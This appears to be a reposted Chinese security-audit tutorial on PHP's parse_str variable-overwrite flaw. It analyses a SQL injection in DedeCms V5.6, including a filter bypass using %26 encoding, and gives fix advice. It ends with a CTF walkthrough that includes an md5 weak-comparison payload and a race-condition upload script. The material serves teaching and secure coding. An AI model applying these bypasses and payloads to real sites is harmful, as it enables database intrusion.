PHP-Audit-Labs-Day6-parse_str函数缺陷

PHP-Audit-Labs

项目地址:https://www.ripstech.com/php-security-calendar-2017/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {//函数用于检测变量是否为资源类型。
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);//预编译
$stmt->bind_param('i', $id);//该函数绑定了 SQL 的参数,且告诉数据库参数的值
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);// — 将字符串解析成多个变量
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

?>

考点为:parse_str函数覆盖变量,类似b=a[0]=

parse_str

功能 :parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。

定义void parse_str( string $encoded_string [, array &$result ] )

如果 encoded_string 是 URL 传入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

实例分析

漏洞分析

DedeCmsV5.6 该版本的buy_action.php处存在SQL注入漏洞,这里其实和 parse_str 有很大关系.

官网于20140225发布了V5.7.36 正式版0225常规更新补丁,这里面的改动一共四个文件dede/sys_info.phpdede/templets/sys_info.htminclude/uploadsafe.inc.phpmember/buy_action.php

sublime的FileDiffs插件来进行diff对比查找member/buy_action.php的改动情况。

改动部分,主要针对加密函数的强度进行了加强,所以做一个推断这个漏洞应该是由于 mchStrCode 这个编码方法造成的。在读这个函数时发现,如果在我们知道 cfg_cookie_encode 的情况下,被编码字符串是可以被逆推出来的。

Ctrl+Shitf+F全局搜索mchStrCode函数。

在文件DedeCmsV5.6-UTF8-Final\uploads\member\buy_action.php的第十七行发现parse_str函数

1
2
3
4
5
if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);//将解码后 $pd_encode 中的变量放到 $mch_Post 数组中
foreach($mch_Post as $k => $v) $$k = $v;//将解码后 $pd_encode 中的变量放到 $mch_Post 数组中
$row = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");//执行sql语句

foreach($mch_Post as $k => $v) $$k = $v;存在变量覆盖,将 $mch_Post 中的key定义为变量,同时将key所对应的value赋予该变量。然后,再向下就是执行SQL查询了。

跟入mchStrCode查看函数如何定义的

找到DedeCmsV5.6-UTF8-Final\uploads\member\buy_action.php第147行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function mchStrCode($string,$action='ENCODE')
{
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = '';
for($i=0; $i<strlen($string); $i++)
{
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}

这里将 $_SERVER["HTTP_USER_AGENT"]$GLOBALS['cfg_cookie_encode'] 进行拼接,然后进行md5计算之后取前 18 位字符,其中的 $_SERVER["HTTP_USER_AGENT"] 是浏览器的标识,可以被我们控制,关键是这个 $GLOBALS['cfg_cookie_encode'] 是怎么来的。通过针对补丁文件的对比,发现了 /install/index.php$rnd_cookieEncode 字符串的生成同样是加强了强度, $rnd_cookieEncode 字符串最终也就是前面提到的 $GLOBALS['cfg_cookie_encode']

diff一下补丁和源文件

改动部分,主要针对加密函数的强度进行了加强,所以做一个推断这个漏洞应该是由于 mchStrCode 这个编码方法造成的。在读这个函数时发现,如果在我们知道 cfg_cookie_encode 的情况下,被编码字符串是可以被逆推出来的。

这个漏洞在乌云上爆出来的时候,是sql注入,所以我推断可能在调用这个编码函数进行解码的地方,解码之后可能没有任何过滤和绕过,又或者可以可绕过过滤,导致sql语句拼接写入到了数据库,而且这里解码的函数可以被攻击者控制,从而导致了SQL注入的产生。

/install/index.php查看$rnd_cookieEncode的定义。

1
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

这段代码生成的加密密匙很有规律,所有密匙数为26^6*(9999-1000)=2779933068224,把所有可能的组合生成字典,用passwordpro暴力跑MD5或者使用GPU来破解,破解出md5过的密匙也花不了多少时间。 当然这个是完全有可能的,但是很耗时间,所以下一步看看有没有办法能够绕过这个猜测的过程,让页面直接回显回来。

利用思路

虽然整个漏洞利用原理很简单,但是利用难度还是很高的,关键点还是如何解决这个 mchStrCodemchStrCode 这个函数的编码过程中需要知道网站预设的 cfg_cookie_encode ,而这个内容在用户界面只可以获取它的MD5值。虽然cfg_cookie_encode的生成有一定的规律性,我们可以使用MD5碰撞的方法获得,但是时间成本太高,感觉不太值得。所以想法是在什么地方可以使用 mchStrCode 加密可控参数,并且能够返回到页面中。所以搜索一下全文哪里调用了这个函数。

于是,我们在 member/buy_action.php 的104行找到了一处加密调用:$pr_encode = str_replace('=', '', mchStrCode($pr_encode)); 我们来看一下这个分支的整个代码:

1
2
3
4
5
6
7
8
foreach($_REQUEST as $key => $val)
{
$pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
}

$pr_encode = str_replace('=', '', mchStrCode($pr_encode));

$pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);

这里的 第110行 有一 $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');/templets/buy_action_payment.htm 中,我找到了页面上回显之前加密的 $pr_encode$pr_verify

1
2
<input type="hidden" name="pd_encode" value="<?php echo $pr_encode;?>">
<input type="hidden" name="pd_verify" value="<?php echo $pr_verify;?>">

通过这部分代码,我们可以通过 [cfg_dbprefix=SQL注入] 的提交请求,进入这个分支,让它帮助我来编码 [cfg_dbprefix=SQL注入] ,从而获取相应的 pr_encodepr_verify 。 但是 common.inc.php 文件对用户提交的内容进行了过滤,凡提交的值以cfg、GLOBALS、GET、POST、COOKIE 开头都会被拦截,如下图第11行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}

这个问题的解决就利用到了 $REQUEST 内容与 parse_str 函数内容的差异特性。我们url传入的时候通过[a=1&b=2%26c=3]这样的提交时, $REQUEST 解析的内容就是 [a=1,b=2%26c=3] 。而通过上面代码的遍历进入 parse_str 函数的内容则是 [a=1&b=2&c=3] ,因为 parse_str 函数会针对传入进来的数据进行解码,所以解析后的内容就变成了[a=1,b=2,c=3]。所以可以通过这种方法绕过 common.inc.php 文件对于参数内容传递的验证。

修复建议

为了解决变量覆盖问题,可以在注册变量前先判断变量是否存在,如果使用 extract 函数可以配置第二个参数是 EXTR_SKIP 。使用 parse_str 函数之前先自行通过代码判断变量是否存在。

这里提供一个demo漏洞样例代码,以及demo的修复方法。

存在漏洞的index.php

1
2
3
4
5
<php
$b = 3;
parse_str($_GET['test']);
print_r($b);
?>

payload

1
http://127.0.0.1/PHP-Audit-Labs/day/day7/test.php?test=b=1

修复后的index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$b=3;
if(isset($b))
{
echo '$b 已经set',<br/>;
}
else
{
echo 'test 没有set','<br/>';
parse_str($_GET['test'])
}
print_r($b);
?>

isset() 函数用于检测变量是否已设置并且非 NULL。

如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。

若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。

ctf

index.php

1
2
3
4
5
6
7
8
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {//md5比较
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>

uploadsomething.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>

考点一

parse_str变量覆盖

id=$a[0]=xxxxxxx

xxxxx为md5弱比较类型,PHP Hash比较存在缺陷 ,它把每一个以”0E”开头的哈希值都解释为0。这里上一篇的CTF也遇到过写过总结了

payload

1
http://127.0.0.1/PHP-Audit-Labs/day/day7/CTF/index.php?id=a[0]=s878926199a

考点二

在uploadsomething.php的3-4行,校验referer,若是没有referer为空,则无法访问上传页面。http://192.168.1.15/PHP-Audit-Labs/day/day7/CTF/uploadsomething.php

1
2
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {//查看有没有referer

如果不带referer会返回报错

1
2
Notice: Undefined index: HTTP_REFERER in C:\Users\***\Desktop\Manager\website\phpStudy\PHPTutorial\WWW\PHP-Audit-Labs\day\day7\CTF\uploadsomething.php on line 3
you can not see this page

考点三

此处存在竞争上传漏洞

1
2
3
4
5
6
7
8
9
10
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
echo($savepath. $_GET['filename']);
}

直接上传返回一个上传文件的物理地址

http://192.168.1.15/PHP-Audit-Labs/day/day7/CTF/uploads/5143634216cdfdcdc379517d66dfb743700feb4c/1

点击进去显示too slow

这里用到的是竞争上传的手段。

① 首先burp -> intruder -> Null payloads 发送大量数据包

② 脚本批量访问上传后的链接,由于链接地址写死,循环访问即可

1
2
3
4
5
6
import requests as r
r1=r.Session()
while (1):
r2=r1.get("http://192.168.1.15/PHP-Audit-Labs/day/day7/CTF/uploads/5143634216cdfdcdc379517d66dfb743700feb4c/Wh0ale")
print r2.text
pass

flag

1
HRCTF{y0u_n4ed_f4st}   by:l1nk3r

转载:https://xz.aliyun.com/t/2541

-------------本文结束感谢您的阅读-------------